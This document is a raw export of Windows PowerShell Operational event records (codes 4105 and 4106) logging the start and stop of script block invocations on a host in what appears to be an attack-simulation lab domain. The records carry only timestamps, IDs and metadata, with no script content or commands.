Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048959
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048958
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048957
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048956
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048940
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048939
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048934
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048933
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
